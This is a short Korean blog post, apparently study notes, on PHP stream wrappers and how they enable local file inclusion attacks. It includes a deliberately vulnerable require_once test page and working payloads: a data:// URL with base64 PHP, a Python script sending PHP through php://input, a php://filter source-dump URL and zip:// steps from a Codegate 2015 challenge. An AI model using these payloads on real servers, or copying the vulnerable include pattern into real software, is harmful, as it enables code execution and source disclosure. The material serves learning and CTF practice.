webhacking/etc

php wrapper (추가예정)

qkqhxla1 2015. 7. 28. 21:08

lfi하고 같이 조금 정리했었던거 : http://qkqhxla1.tistory.com/313


http://php.net/manual/kr/wrappers.php 참고. 종류.


  • file:// — Accessing local filesystem
  • http:// — Accessing HTTP(s) URLs
  • ftp:// — Accessing FTP(s) URLs
  • php:// — Accessing various I/O streams
  • zlib:// — Compression Streams
  • data:// — Data (RFC 2397)
  • glob:// — Find pathnames matching pattern
  • phar:// — PHP Archive
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — Audio streams
  • expect:// — Process Interaction Streams

  • 등이 있음. index.php 소스코드.

    <?php $inc = @$_GET['file']; @require_once($inc); ?> 를 넣어둠.


    data:// ex) http://localhost/index.php?file=data://text/plain;base64,PD9waHAgcHJpbnRfcihzY2FuZGlyKGdldGN3ZCgpKSk7ID8%2B


    php://input ex) //post로 보낼 경우.

    import urllib2

    req = urllib2.Request('http://localhost/?file=php://input','<?php print_r(scandir(getcwd())); ?>')

    print urllib2.urlopen(req).read()


    php://filter ex)

    http://localhost/index.php?file=php://filter/convert.base64-encode/resource=9-2.php

    처럼 하면 9-2.php의 소스코드가 base64인코딩된 상태로 나타난다. 


    코드게이트 2015 web 200 문제에서는 zip://이나 phar://이 유효했다고 한다. 

    아래는 zip://사용 예제.(윈도우 기준)

    1. php 5.2이상 버전에서 php.ini의 ;extension=php_zip.dll에서 맨 앞에 ;를 지워버린다.(;가 주석인듯)

    2. bar.txt내부에 hello world라고 쓴후 압축해서 이름을 foo.zip으로 바꾼다.

    3. 위에 적은 테스트용 코드인 <?php $inc = @$_GET['file']; @require_once($inc); ?> 를 넣고, 불러온다. http://localhost/?file=zip://C:\\APM_Setup\\htdocs/foo.zip%23bar.txt


    %23은 #이며, #앞으로 zip파일 이름을, #뒤로 zip이 풀렸을때 이름을 넣어주고, zip://경로는 반드시 절대 전체 경로를 넣어준다. 현재 php파일과 위치가 같다고 그냥 zip://foo.zip~처럼 써주면 안된다. (이거때메 몇일 삽질.)


    phar의 설치도 올려보려고 했는데 기본적으로 5.3.0부터 설치된다고 한다.(내 apm이 5.2라서 못해볼듯..) 

    혹시몰라서 phar객체를 만들어보려고 했는데 아예 못찾겠다는 에러메시지를 보니 5.3부터 설치되는게 맞는듯 싶다. 굳이 몰라도 될거같으니 있다는것만 알아두자..


    추가 참고용 사이트 : http://blog.naver.com/parkjy76/30101133579

    코드게이트 2015 web 200 : http://dakutenpura.hatenablog.com/entry/2015/03/16/223424

    코드게이트 풀이 2 : https://0x1337seichi.wordpress.com/2015/03/15/codgate-2015-ctf-quals-owlur-writeup-web-200/

    php 공식 홈페이지의 zip://참고 페이지 : http://php.net/manual/kr/zip.examples.php